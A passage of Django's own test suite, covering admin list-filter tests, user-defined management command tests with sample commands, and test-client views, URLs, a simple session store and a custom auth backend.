        expected = [python_bookmark, django_bookmark]
        self.assertEqual(list(queryset), expected)

    def test_booleanfieldlistfilter(self):
        modeladmin = BookAdmin(Book, site)
        self.verify_booleanfieldlistfilter(modeladmin)

    def test_booleanfieldlistfilter_tuple(self):
        modeladmin = BookAdminWithTupleBooleanFilter(Book, site)
        self.verify_booleanfieldlistfilter(modeladmin)

    def verify_booleanfieldlistfilter(self, modeladmin):
        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        request = self.request_factory.get('/', {'is_best_seller__exact': 0})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.bio_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][3]
        self.assertEqual(force_text(filterspec.title), 'is best seller')
        choice = select_by(filterspec.choices(changelist), "display", "No")
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?is_best_seller__exact=0')

        request = self.request_factory.get('/', {'is_best_seller__exact': 1})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.guitar_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][3]
        self.assertEqual(force_text(filterspec.title), 'is best seller')
        choice = select_by(filterspec.choices(changelist), "display", "Yes")
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?is_best_seller__exact=1')

        request = self.request_factory.get('/', {'is_best_seller__isnull': 'True'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.django_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][3]
        self.assertEqual(force_text(filterspec.title), 'is best seller')
        choice = select_by(filterspec.choices(changelist), "display", "Unknown")
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?is_best_seller__isnull=True')

    def test_fieldlistfilter_underscorelookup_tuple(self):
        """
        Ensure ('fieldpath', ClassName ) lookups pass lookup_allowed checks
        when fieldpath contains double underscore in value (#19182).
        """
        modeladmin = BookAdminWithUnderscoreLookupAndTuple(Book, site)
        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        request = self.request_factory.get('/', {'author__email': 'alfred@example.com'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.bio_book, self.djangonaut_book])

    def test_simplelistfilter(self):
        modeladmin = DecadeFilterBookAdmin(Book, site)

        # Make sure that the first option is 'All' ---------------------------
        request = self.request_factory.get('/', {})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), list(Book.objects.all().order_by('-id')))

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[0]['display'], 'All')
        self.assertIs(choices[0]['selected'], True)
        self.assertEqual(choices[0]['query_string'], '?')

        # Look for books in the 1980s ----------------------------------------
        request = self.request_factory.get('/', {'publication-decade': 'the 80s'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[1]['display'], 'the 1980\'s')
        self.assertIs(choices[1]['selected'], True)
        self.assertEqual(choices[1]['query_string'], '?publication-decade=the+80s')

        # Look for books in the 1990s ----------------------------------------
        request = self.request_factory.get('/', {'publication-decade': 'the 90s'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.bio_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[2]['display'], 'the 1990\'s')
        self.assertIs(choices[2]['selected'], True)
        self.assertEqual(choices[2]['query_string'], '?publication-decade=the+90s')

        # Look for books in the 2000s ----------------------------------------
        request = self.request_factory.get('/', {'publication-decade': 'the 00s'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.guitar_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[3]['display'], 'the 2000\'s')
        self.assertIs(choices[3]['selected'], True)
        self.assertEqual(choices[3]['query_string'], '?publication-decade=the+00s')

        # Combine multiple filters -------------------------------------------
        request = self.request_factory.get('/', {'publication-decade': 'the 00s', 'author__id__exact': self.alfred.pk})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.djangonaut_book])

        # Make sure the correct choices are selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[3]['display'], 'the 2000\'s')
        self.assertIs(choices[3]['selected'], True)
        self.assertEqual(
            choices[3]['query_string'],
            '?author__id__exact=%s&publication-decade=the+00s' % self.alfred.pk
        )

        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'Verbose Author')
        choice = select_by(filterspec.choices(changelist), "display", "alfred")
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?author__id__exact=%s&publication-decade=the+00s' % self.alfred.pk)

    def test_listfilter_without_title(self):
        """
        Any filter must define a title.
        """
        modeladmin = DecadeFilterBookAdminWithoutTitle(Book, site)
        request = self.request_factory.get('/', {})
        msg = "The list filter 'DecadeListFilterWithoutTitle' does not specify a 'title'."
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            self.get_changelist(request, Book, modeladmin)

    def test_simplelistfilter_without_parameter(self):
        """
        Any SimpleListFilter must define a parameter_name.
        """
        modeladmin = DecadeFilterBookAdminWithoutParameter(Book, site)
        request = self.request_factory.get('/', {})
        msg = "The list filter 'DecadeListFilterWithoutParameter' does not specify a 'parameter_name'."
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            self.get_changelist(request, Book, modeladmin)

    def test_simplelistfilter_with_none_returning_lookups(self):
        """
        A SimpleListFilter lookups method can return None but disables the
        filter completely.
        """
        modeladmin = DecadeFilterBookAdminWithNoneReturningLookups(Book, site)
        request = self.request_factory.get('/', {})
        changelist = self.get_changelist(request, Book, modeladmin)
        filterspec = changelist.get_filters(request)[0]
        self.assertEqual(len(filterspec), 0)

    def test_filter_with_failing_queryset(self):
        """
        Ensure that when a filter's queryset method fails, it fails loudly and
        the corresponding exception doesn't get swallowed (#17828).
        """
        modeladmin = DecadeFilterBookAdminWithFailingQueryset(Book, site)
        request = self.request_factory.get('/', {})
        with self.assertRaises(ZeroDivisionError):
            self.get_changelist(request, Book, modeladmin)

    def test_simplelistfilter_with_queryset_based_lookups(self):
        modeladmin = DecadeFilterBookAdminWithQuerysetBasedLookups(Book, site)
        request = self.request_factory.get('/', {})
        changelist = self.get_changelist(request, Book, modeladmin)

        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(len(choices), 3)

        self.assertEqual(choices[0]['display'], 'All')
        self.assertIs(choices[0]['selected'], True)
        self.assertEqual(choices[0]['query_string'], '?')

        self.assertEqual(choices[1]['display'], 'the 1990\'s')
        self.assertIs(choices[1]['selected'], False)
        self.assertEqual(choices[1]['query_string'], '?publication-decade=the+90s')

        self.assertEqual(choices[2]['display'], 'the 2000\'s')
        self.assertIs(choices[2]['selected'], False)
        self.assertEqual(choices[2]['query_string'], '?publication-decade=the+00s')

    def test_two_characters_long_field(self):
        """
        list_filter works with two-characters long field names (#16080).
        """
        modeladmin = BookAdmin(Book, site)
        request = self.request_factory.get('/', {'no': '207'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.bio_book])

        filterspec = changelist.get_filters(request)[0][-1]
        self.assertEqual(force_text(filterspec.title), 'number')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[2]['selected'], True)
        self.assertEqual(choices[2]['query_string'], '?no=207')

    def test_parameter_ends_with__in__or__isnull(self):
        """
        Ensure that a SimpleListFilter's parameter name is not mistaken for a
        model field if it ends with '__isnull' or '__in' (#17091).
        """
        # When it ends with '__in' -----------------------------------------
        modeladmin = DecadeFilterBookAdminParameterEndsWith__In(Book, site)
        request = self.request_factory.get('/', {'decade__in': 'the 90s'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.bio_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[2]['display'], 'the 1990\'s')
        self.assertIs(choices[2]['selected'], True)
        self.assertEqual(choices[2]['query_string'], '?decade__in=the+90s')

        # When it ends with '__isnull' ---------------------------------------
        modeladmin = DecadeFilterBookAdminParameterEndsWith__Isnull(Book, site)
        request = self.request_factory.get('/', {'decade__isnull': 'the 90s'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.bio_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'publication decade')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[2]['display'], 'the 1990\'s')
        self.assertIs(choices[2]['selected'], True)
        self.assertEqual(choices[2]['query_string'], '?decade__isnull=the+90s')

    def test_lookup_with_non_string_value(self):
        """
        Ensure choices are set the selected class when using non-string values
        for lookups in SimpleListFilters (#19318).
        """
        modeladmin = DepartmentFilterEmployeeAdmin(Employee, site)
        request = self.request_factory.get('/', {'department': self.john.department.pk})
        changelist = self.get_changelist(request, Employee, modeladmin)

        queryset = changelist.get_queryset(request)

        self.assertEqual(list(queryset), [self.john])

        filterspec = changelist.get_filters(request)[0][-1]
        self.assertEqual(force_text(filterspec.title), 'department')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[1]['display'], 'DEV')
        self.assertIs(choices[1]['selected'], True)
        self.assertEqual(choices[1]['query_string'], '?department=%s' % self.john.department.pk)

    def test_lookup_with_non_string_value_underscored(self):
        """
        Ensure SimpleListFilter lookups pass lookup_allowed checks when
        parameter_name attribute contains double-underscore value (#19182).
        """
        modeladmin = DepartmentFilterUnderscoredEmployeeAdmin(Employee, site)
        request = self.request_factory.get('/', {'department__whatever': self.john.department.pk})
        changelist = self.get_changelist(request, Employee, modeladmin)

        queryset = changelist.get_queryset(request)

        self.assertEqual(list(queryset), [self.john])

        filterspec = changelist.get_filters(request)[0][-1]
        self.assertEqual(force_text(filterspec.title), 'department')
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[1]['display'], 'DEV')
        self.assertIs(choices[1]['selected'], True)
        self.assertEqual(choices[1]['query_string'], '?department__whatever=%s' % self.john.department.pk)

    def test_fk_with_to_field(self):
        """
        A filter on a FK respects the FK's to_field attribute (#17972).
        """
        modeladmin = EmployeeAdmin(Employee, site)

        request = self.request_factory.get('/', {})
        changelist = self.get_changelist(request, Employee, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.jack, self.john])

        filterspec = changelist.get_filters(request)[0][-1]
        self.assertEqual(force_text(filterspec.title), 'department')
        choices = list(filterspec.choices(changelist))

        self.assertEqual(choices[0]['display'], 'All')
        self.assertIs(choices[0]['selected'], True)
        self.assertEqual(choices[0]['query_string'], '?')

        self.assertEqual(choices[1]['display'], 'Development')
        self.assertIs(choices[1]['selected'], False)
        self.assertEqual(choices[1]['query_string'], '?department__code__exact=DEV')

        self.assertEqual(choices[2]['display'], 'Design')
        self.assertIs(choices[2]['selected'], False)
        self.assertEqual(choices[2]['query_string'], '?department__code__exact=DSN')

        # Filter by Department=='Development' --------------------------------

        request = self.request_factory.get('/', {'department__code__exact': 'DEV'})
        changelist = self.get_changelist(request, Employee, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.john])

        filterspec = changelist.get_filters(request)[0][-1]
        self.assertEqual(force_text(filterspec.title), 'department')
        choices = list(filterspec.choices(changelist))

        self.assertEqual(choices[0]['display'], 'All')
        self.assertIs(choices[0]['selected'], False)
        self.assertEqual(choices[0]['query_string'], '?')

        self.assertEqual(choices[1]['display'], 'Development')
        self.assertIs(choices[1]['selected'], True)
        self.assertEqual(choices[1]['query_string'], '?department__code__exact=DEV')

        self.assertEqual(choices[2]['display'], 'Design')
        self.assertIs(choices[2]['selected'], False)
        self.assertEqual(choices[2]['query_string'], '?department__code__exact=DSN')

    def test_lookup_with_dynamic_value(self):
        """
        Ensure SimpleListFilter can access self.value() inside the lookup.
        """
        modeladmin = DepartmentFilterDynamicValueBookAdmin(Book, site)

        def _test_choices(request, expected_displays):
            changelist = self.get_changelist(request, Book, modeladmin)
            filterspec = changelist.get_filters(request)[0][0]
            self.assertEqual(force_text(filterspec.title), 'publication decade')
            choices = tuple(c['display'] for c in filterspec.choices(changelist))
            self.assertEqual(choices, expected_displays)

        _test_choices(self.request_factory.get('/', {}),
                      ("All", "the 1980's", "the 1990's"))

        _test_choices(self.request_factory.get('/', {'publication-decade': 'the 80s'}),
                      ("All", "the 1990's"))

        _test_choices(self.request_factory.get('/', {'publication-decade': 'the 90s'}),
                      ("All", "the 1980's"))

    def test_list_filter_queryset_filtered_by_default(self):
        """
        A list filter that filters the queryset by default gives the correct
        full_result_count.
        """
        modeladmin = NotNinetiesListFilterAdmin(Book, site)
        request = self.request_factory.get('/', {})
        changelist = self.get_changelist(request, Book, modeladmin)
        changelist.get_results(request)
        self.assertEqual(changelist.full_result_count, 4)






"""
User-registered management commands

The ``manage.py`` utility provides a number of useful commands for managing a
Django project. If you want to add a utility command of your own, you can.

The user-defined command ``dance`` is defined in the management/commands
subdirectory of this test application. It is a simple command that responds
with a printed message when invoked.

For more details on how to define your own ``manage.py`` commands, look at the
``django.core.management.commands`` directory. This directory contains the
definitions for the base Django ``manage.py`` commands.
"""






from django.conf.urls import url

urlpatterns = [
    url(r'^some/url/$', lambda req:req, name='some_url'),
]












import os

from admin_scripts.tests import AdminScriptTestCase

from django.apps import apps
from django.core import management
from django.core.management import BaseCommand, CommandError, find_commands
from django.core.management.utils import find_command, popen_wrapper
from django.db import connection
from django.test import SimpleTestCase, mock, override_settings
from django.test.utils import captured_stderr, extend_sys_path
from django.utils import translation
from django.utils._os import upath
from django.utils.six import StringIO

from .management.commands import dance


# A minimal set of apps to avoid system checks running on all apps.
@override_settings(
    INSTALLED_APPS=[
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'user_commands',
    ],
)
class CommandTests(SimpleTestCase):
    def test_command(self):
        out = StringIO()
        management.call_command('dance', stdout=out)
        self.assertIn("I don't feel like dancing Rock'n'Roll.\n", out.getvalue())

    def test_command_style(self):
        out = StringIO()
        management.call_command('dance', style='Jive', stdout=out)
        self.assertIn("I don't feel like dancing Jive.\n", out.getvalue())
        # Passing options as arguments also works (thanks argparse)
        management.call_command('dance', '--style', 'Jive', stdout=out)
        self.assertIn("I don't feel like dancing Jive.\n", out.getvalue())

    def test_language_preserved(self):
        out = StringIO()
        with translation.override('fr'):
            management.call_command('dance', stdout=out)
            self.assertEqual(translation.get_language(), 'fr')

    def test_explode(self):
        """ Test that an unknown command raises CommandError """
        with self.assertRaises(CommandError):
            management.call_command(('explode',))

    def test_system_exit(self):
        """ Exception raised in a command should raise CommandError with
            call_command, but SystemExit when run from command line
        """
        with self.assertRaises(CommandError):
            management.call_command('dance', example="raise")
        with captured_stderr() as stderr, self.assertRaises(SystemExit):
            management.ManagementUtility(['manage.py', 'dance', '--example=raise']).execute()
        self.assertIn("CommandError", stderr.getvalue())

    def test_deactivate_locale_set(self):
        # Deactivate translation when set to true
        with translation.override('pl'):
            result = management.call_command('leave_locale_alone_false', stdout=StringIO())
            self.assertIsNone(result)

    def test_configured_locale_preserved(self):
        # Leaves locale from settings when set to false
        with translation.override('pl'):
            result = management.call_command('leave_locale_alone_true', stdout=StringIO())
            self.assertEqual(result, "pl")

    def test_find_command_without_PATH(self):
        """
        find_command should still work when the PATH environment variable
        doesn't exist (#22256).
        """
        current_path = os.environ.pop('PATH', None)

        try:
            self.assertIsNone(find_command('_missing_'))
        finally:
            if current_path is not None:
                os.environ['PATH'] = current_path

    def test_discover_commands_in_eggs(self):
        """
        Test that management commands can also be loaded from Python eggs.
        """
        egg_dir = '%s/eggs' % os.path.dirname(upath(__file__))
        egg_name = '%s/basic.egg' % egg_dir
        with extend_sys_path(egg_name):
            with self.settings(INSTALLED_APPS=['commandegg']):
                cmds = find_commands(os.path.join(apps.get_app_config('commandegg').path, 'management'))
        self.assertEqual(cmds, ['eggcommand'])

    def test_call_command_option_parsing(self):
        """
        When passing the long option name to call_command, the available option
        key is the option dest name (#22985).
        """
        out = StringIO()
        management.call_command('dance', stdout=out, opt_3=True)
        self.assertIn("option3", out.getvalue())
        self.assertNotIn("opt_3", out.getvalue())
        self.assertNotIn("opt-3", out.getvalue())

    def test_call_command_option_parsing_non_string_arg(self):
        """
        It should be possible to pass non-string arguments to call_command.
        """
        out = StringIO()
        management.call_command('dance', 1, verbosity=0, stdout=out)
        self.assertIn("You passed 1 as a positional argument.", out.getvalue())

    def test_calling_a_command_with_only_empty_parameter_should_ends_gracefully(self):
        out = StringIO()
        management.call_command('hal', "--empty", stdout=out)
        self.assertIn("Dave, I can't do that.\n", out.getvalue())

    def test_calling_command_with_app_labels_and_parameters_should_be_ok(self):
        out = StringIO()
        management.call_command('hal', 'myapp', "--verbosity", "3", stdout=out)
        self.assertIn("Dave, my mind is going. I can feel it. I can feel it.\n", out.getvalue())

    def test_calling_command_with_parameters_and_app_labels_at_the_end_should_be_ok(self):
        out = StringIO()
        management.call_command('hal', "--verbosity", "3", "myapp", stdout=out)
        self.assertIn("Dave, my mind is going. I can feel it. I can feel it.\n", out.getvalue())

    def test_calling_a_command_with_no_app_labels_and_parameters_should_raise_a_command_error(self):
        with self.assertRaises(CommandError):
            management.call_command('hal', stdout=StringIO())

    def test_output_transaction(self):
        output = management.call_command('transaction', stdout=StringIO(), no_color=True)
        self.assertTrue(output.strip().startswith(connection.ops.start_transaction_sql()))
        self.assertTrue(output.strip().endswith(connection.ops.end_transaction_sql()))

    def test_call_command_no_checks(self):
        """
        By default, call_command should not trigger the check framework, unless
        specifically asked.
        """
        self.counter = 0

        def patched_check(self_, **kwargs):
            self.counter += 1

        saved_check = BaseCommand.check
        BaseCommand.check = patched_check
        try:
            management.call_command("dance", verbosity=0)
            self.assertEqual(self.counter, 0)
            management.call_command("dance", verbosity=0, skip_checks=False)
            self.assertEqual(self.counter, 1)
        finally:
            BaseCommand.check = saved_check

    def test_check_migrations(self):
        requires_migrations_checks = dance.Command.requires_migrations_checks
        self.assertIs(requires_migrations_checks, False)
        try:
            with mock.patch.object(BaseCommand, 'check_migrations') as check_migrations:
                management.call_command('dance', verbosity=0)
                self.assertFalse(check_migrations.called)
                dance.Command.requires_migrations_checks = True
                management.call_command('dance', verbosity=0)
                self.assertTrue(check_migrations.called)
        finally:
            dance.Command.requires_migrations_checks = requires_migrations_checks


class CommandRunTests(AdminScriptTestCase):
    """
    Tests that need to run by simulating the command line, not by call_command.
    """
    def tearDown(self):
        self.remove_settings('settings.py')

    def test_script_prefix_set_in_commands(self):
        self.write_settings('settings.py', apps=['user_commands'], sdict={
            'ROOT_URLCONF': '"user_commands.urls"',
            'FORCE_SCRIPT_NAME': '"/PREFIX/"',
        })
        out, err = self.run_manage(['reverse_url'])
        self.assertNoOutput(err)
        self.assertEqual(out.strip(), '/PREFIX/some/url/')


class UtilsTests(SimpleTestCase):

    def test_no_existent_external_program(self):
        with self.assertRaises(CommandError):
            popen_wrapper(['a_42_command_that_doesnt_exist_42'])












from django.core.management.base import BaseCommand
from django.utils import translation


class Command(BaseCommand):

    can_import_settings = True
    leave_locale_alone = False

    def handle(self, *args, **options):
        return translation.get_language()






from django.core.management.base import BaseCommand
from django.utils import translation


class Command(BaseCommand):

    can_import_settings = True
    leave_locale_alone = True

    def handle(self, *args, **options):
        return translation.get_language()






from django.core.management.base import BaseCommand
from django.urls import reverse


class Command(BaseCommand):
    """
    This command returns a URL from a reverse() call.
    """
    def handle(self, *args, **options):
        return reverse('some_url')






from django.core.management.base import BaseCommand, CommandError


class Command(BaseCommand):
    help = "Dance around like a madman."
    args = ''
    requires_system_checks = True

    def add_arguments(self, parser):
        parser.add_argument("integer", nargs='?', type=int, default=0)
        parser.add_argument("-s", "--style", default="Rock'n'Roll")
        parser.add_argument("-x", "--example")
        parser.add_argument("--opt-3", action='store_true', dest='option3')

    def handle(self, *args, **options):
        example = options["example"]
        if example == "raise":
            raise CommandError()
        if options['verbosity'] > 0:
            self.stdout.write("I don't feel like dancing %s." % options["style"])
            self.stdout.write(','.join(options.keys()))
        if options['integer'] > 0:
            self.stdout.write("You passed %d as a positional argument." % options['integer'])












from django.core.management.base import BaseCommand, CommandError


class Command(BaseCommand):
    help = "Useless command."

    def add_arguments(self, parser):
        parser.add_argument('args', metavar='app_label', nargs='*', help='Specify the app label(s) to works on.')
        parser.add_argument('--empty', action='store_true', dest='empty', default=False, help="Do nothing.")

    def handle(self, *app_labels, **options):
        app_labels = set(app_labels)

        if options['empty']:
            self.stdout.write("Dave, I can't do that.")
            return

        if not app_labels:
            raise CommandError("I'm sorry Dave, I'm afraid I can't do that.")

        # raise an error if some --parameter is flowing from options to args
        for app_label in app_labels:
            if app_label.startswith('--'):
                raise CommandError("Sorry, Dave, I can't let you do that.")

        self.stdout.write("Dave, my mind is going. I can feel it. I can feel it.")






from django.core.management.base import BaseCommand


class Command(BaseCommand):
    help = "Say hello."
    args = ''
    output_transaction = True

    def handle(self, *args, **options):
        return 'Hello!'






from django.contrib.auth.models import AbstractBaseUser, BaseUserManager
from django.db import models


class CustomUser(AbstractBaseUser):
    email = models.EmailField(verbose_name='email address', max_length=255, unique=True)
    custom_objects = BaseUserManager()

    USERNAME_FIELD = 'email'

    class Meta:
        app_label = 'test_client_regress'






import json

from django.conf import settings
from django.contrib.auth.decorators import login_required
from django.core.serializers.json import DjangoJSONEncoder
from django.http import HttpResponse, HttpResponseRedirect, JsonResponse
from django.shortcuts import render
from django.template.loader import render_to_string
from django.test import Client
from django.test.client import CONTENT_TYPE_RE
from django.utils.six.moves.urllib.parse import urlencode


class CustomTestException(Exception):
    pass


def no_template_view(request):
    "A simple view that expects a GET request, and returns a rendered template"
    return HttpResponse("No template used. Sample content: twice once twice. Content ends.")


def staff_only_view(request):
    "A view that can only be visited by staff. Non staff members get an exception"
    if request.user.is_staff:
        return HttpResponse('')
    else:
        raise CustomTestException()


def get_view(request):
    "A simple login protected view"
    return HttpResponse("Hello world")
get_view = login_required(get_view)


def request_data(request, template='base.html', data='sausage'):
    "A simple view that returns the request data in the context"
    return render(request, template, {
        'get-foo': request.GET.get('foo'),
        'get-bar': request.GET.get('bar'),
        'post-foo': request.POST.get('foo'),
        'post-bar': request.POST.get('bar'),
        'data': data,
    })


def view_with_argument(request, name):
    """A view that takes a string argument

    The purpose of this view is to check that if a space is provided in
    the argument, the test framework unescapes the %20 before passing
    the value to the view.
    """
    if name == 'Arthur Dent':
        return HttpResponse('Hi, Arthur')
    else:
        return HttpResponse('Howdy, %s' % name)


def nested_view(request):
    """
    A view that uses test client to call another view.
    """
    c = Client()
    c.get("/no_template_view/")
    return render(request, 'base.html', {'nested': 'yes'})


def login_protected_redirect_view(request):
    "A view that redirects all requests to the GET view"
    return HttpResponseRedirect('/get_view/')
login_protected_redirect_view = login_required(login_protected_redirect_view)


def redirect_to_self_with_changing_query_view(request):
    query = request.GET.copy()
    query['counter'] += '0'
    return HttpResponseRedirect('/redirect_to_self_with_changing_query_view/?%s' % urlencode(query))


def set_session_view(request):
    "A view that sets a session variable"
    request.session['session_var'] = 'YES'
    return HttpResponse('set_session')


def check_session_view(request):
    "A view that reads a session variable"
    return HttpResponse(request.session.get('session_var', 'NO'))


def request_methods_view(request):
    "A view that responds with the request method"
    return HttpResponse('request method: %s' % request.method)


def return_unicode(request):
    return render(request, 'unicode.html')


def return_undecodable_binary(request):
    return HttpResponse(
        b'%PDF-1.4\r\n%\x93\x8c\x8b\x9e ReportLab Generated PDF document http://www.reportlab.com'
    )


def return_json_response(request):
    return JsonResponse({'key': 'value'})


def return_json_file(request):
    "A view that parses and returns a JSON string as a file."
    match = CONTENT_TYPE_RE.match(request.META['CONTENT_TYPE'])
    if match:
        charset = match.group(1)
    else:
        charset = settings.DEFAULT_CHARSET

    # This just checks that the uploaded data is JSON
    obj_dict = json.loads(request.body.decode(charset))
    obj_json = json.dumps(obj_dict, cls=DjangoJSONEncoder, ensure_ascii=False)
    response = HttpResponse(obj_json.encode(charset), status=200,
                            content_type='application/json; charset=%s' % charset)
    response['Content-Disposition'] = 'attachment; filename=testfile.json'
    return response


def check_headers(request):
    "A view that responds with value of the X-ARG-CHECK header"
    return HttpResponse('HTTP_X_ARG_CHECK: %s' % request.META.get('HTTP_X_ARG_CHECK', 'Undefined'))


def body(request):
    "A view that is requested with GET and accesses request.body. Refs #14753."
    return HttpResponse(request.body)


def read_all(request):
    "A view that is requested with accesses request.read()."
    return HttpResponse(request.read())


def read_buffer(request):
    "A view that is requested with accesses request.read(LARGE_BUFFER)."
    return HttpResponse(request.read(99999))


def request_context_view(request):
    # Special attribute that won't be present on a plain HttpRequest
    request.special_path = request.path
    return render(request, 'request_context.html')


def render_template_multiple_times(request):
    """A view that renders a template multiple times."""
    return HttpResponse(
        render_to_string('base.html') + render_to_string('base.html'))






from django.conf.urls import include, url
from django.views.generic import RedirectView

from . import views

urlpatterns = [
    url(r'', include('test_client.urls')),

    url(r'^no_template_view/$', views.no_template_view),
    url(r'^staff_only/$', views.staff_only_view),
    url(r'^get_view/$', views.get_view),
    url(r'^request_data/$', views.request_data),
    url(r'^request_data_extended/$', views.request_data, {'template': 'extended.html', 'data': 'bacon'}),
    url(r'^arg_view/(?P<name>.+)/$', views.view_with_argument, name='arg_view'),
    url(r'^nested_view/$', views.nested_view, name='nested_view'),
    url(r'^login_protected_redirect_view/$', views.login_protected_redirect_view),
    url(r'^redirects/$', RedirectView.as_view(url='/redirects/further/')),
    url(r'^redirects/further/$', RedirectView.as_view(url='/redirects/further/more/')),
    url(r'^redirects/further/more/$', RedirectView.as_view(url='/no_template_view/')),
    url(r'^redirect_to_non_existent_view/$', RedirectView.as_view(url='/non_existent_view/')),
    url(r'^redirect_to_non_existent_view2/$', RedirectView.as_view(url='/redirect_to_non_existent_view/')),
    url(r'^redirect_to_self/$', RedirectView.as_view(url='/redirect_to_self/')),
    url(r'^redirect_to_self_with_changing_query_view/$', views.redirect_to_self_with_changing_query_view),
    url(r'^circular_redirect_1/$', RedirectView.as_view(url='/circular_redirect_2/')),
    url(r'^circular_redirect_2/$', RedirectView.as_view(url='/circular_redirect_3/')),
    url(r'^circular_redirect_3/$', RedirectView.as_view(url='/circular_redirect_1/')),
    url(r'^redirect_other_host/$', RedirectView.as_view(url='https://otherserver:8443/no_template_view/')),
    url(r'^set_session/$', views.set_session_view),
    url(r'^check_session/$', views.check_session_view),
    url(r'^request_methods/$', views.request_methods_view),
    url(r'^check_unicode/$', views.return_unicode),
    url(r'^check_binary/$', views.return_undecodable_binary),
    url(r'^json_response/$', views.return_json_response),
    url(r'^parse_unicode_json/$', views.return_json_file),
    url(r'^check_headers/$', views.check_headers),
    url(r'^check_headers_redirect/$', RedirectView.as_view(url='/check_headers/')),
    url(r'^body/$', views.body),
    url(r'^read_all/$', views.read_all),
    url(r'^read_buffer/$', views.read_buffer),
    url(r'^request_context_view/$', views.request_context_view),
    url(r'^render_template_multiple_times/$', views.render_template_multiple_times),
]






from django.contrib.sessions.backends.base import SessionBase


class SessionStore(SessionBase):
    """
    A simple cookie-based session storage implementation.

    The session key is actually the session data, pickled and encoded.
    This means that saving the session will change the session key.
    """
    def __init__(self, session_key=None):
        super(SessionStore, self).__init__(session_key)

    def exists(self, session_key):
        return False

    def create(self):
        self._session_key = self.encode({})

    def save(self, must_create=False):
        self._session_key = self.encode(self._session)

    def delete(self, session_key=None):
        self._session_key = self.encode({})

    def load(self):
        try:
            return self.decode(self.session_key)
        except Exception:
            self.modified = True
            return {}






from django.contrib.auth.backends import ModelBackend

from .models import CustomUser


class CustomUserBackend(ModelBackend):

    def authenticate(self, username=None, password=None):
        try:
            user = CustomUser.custom_objects.get_by_natural_key(username)
            if user.check_password(password):
                return user
        except CustomUser.DoesNotExist:
            return None

    def get_user(self, user_id):
        try:
            return CustomUser.custom_objects.get(pk=user_id)
        except CustomUser.DoesNotExist:
            return None












